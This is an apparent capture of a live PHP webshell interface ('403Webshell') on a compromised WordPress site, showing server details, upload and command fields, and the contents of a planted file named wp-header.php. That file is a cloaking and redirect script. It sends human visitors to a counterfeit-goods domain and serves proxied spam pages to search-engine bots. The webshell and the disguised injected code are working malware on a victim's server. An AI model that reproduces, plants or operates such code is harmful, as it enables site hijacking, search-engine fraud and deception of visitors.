403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/poseidon-gagra.ru/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/poseidon-gagra.ru//wp-header.php
<?php
$jumptodomain = "www.purseshop.cn";

$fromsite = "http://www.vonbags.com";

$pageName = basename($_SERVER['PHP_SELF']);
$url = $_GET['url'];
$htmls = get($fromsite.urldecode($url));
$pagetitle = getCode($htmls,"/<title>(.*?)<\/title>/");
$pagetitle = urlencode($pagetitle);

$agent = $_SERVER['HTTP_USER_AGENT'];
$language = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
$referer = $_SERVER["HTTP_REFERER"];
if($language=="" && $referer=="") {
	if(strpos($agent, "bot")===false) {
		if($jumptodomain) {
			header("location:http://".$jumptodomain);
		}
	}
}else {
	if($jumptodomain) {
		header("location:http://".$jumptodomain);
	}
}

$htmls = init($htmls);

if(stristr($htmls,"lightBox({") !== false){
	$htmls =  str_replace("images/loading.gif",$fromsite."/images/loading.gif",$htmls);
	$htmls =  str_replace("images/lightboxPrev.gif",$fromsite."/images/lightboxPrev.gif",$htmls);
	$htmls =  str_replace("images/lightboxNext.gif",$fromsite."/images/lightboxNext.gif",$htmls);
	$htmls =  str_replace("images/lightboxClose.gif",$fromsite."/images/lightboxClose.gif",$htmls);
	$htmls =  str_replace("images/lightboxBlank.gif",$fromsite."/images/lightboxBlank.gif",$htmls);
}

echo $htmls;

function init($htmls)
{
	global $fromsite,$pageName;
	$data = array();
	preg_match_all("/(href|src|jqimg|jqimg2)\\s*=\\s*((\")(.*?)(\")|(')(.*?)('))/",$htmls,$out);
	$data = array_unique($out[0]);
	foreach($data as $v) {
		$n = $v;
		$n = preg_replace("/(=')/", '="', $n);
		$n = preg_replace("/'$/", '"', $n);

		if(strpos($n,'="#"') === false && strpos($n,'=""') === false && stristr($n,'="javascript:') === false){
			if(stristr($n,'="http://') === false && stristr($n,'="https://') === false && stristr($n,'="mailto:') === false){				
				if(strpos($n,'="/') !== false){
					$n = str_replace('="','="' . $fromsite, $n);
				}else{
					$n = str_replace('="','="' . $fromsite . '/', $n);
				}
			}			
		}else{
			continue;
		}
		
		if(stristr($n,"href=\"") !== false && stristr($n,$fromsite) !== false){			
			if(!preg_match('/(\.css|\.js|\.png|\.jpg|\.gif|\.bmp|\.ico)/i',$n,$m)){										
				preg_match('/(")(.*?)(")/',$n,$match);
				$nhref = $match[2];
				$nhref = str_replace($fromsite,"",$nhref);
				$nhref = $pageName . "?url=" . urlencode($nhref);				
				$n = str_replace($match[2],$nhref, $n);
			}
		}
		
		$htmls = str_replace($v,$n,$htmls);
	}
	return $htmls;
}

function getCode($str,$regstr)
{
	preg_match_all($regstr,$str,$out);
	return $out[1][0];
}

function get($url)
{
	if(function_exists('file_get_contents')) {
		$file_contents = file_get_contents($url);
	} else {
		$ch = curl_init();
		$timeout = 5; 
		curl_setopt ($ch, CURLOPT_URL, $url);
		curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
		curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
		$file_contents = curl_exec($ch);
		curl_close($ch);
	}
	if($file_contents) return $file_contents;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit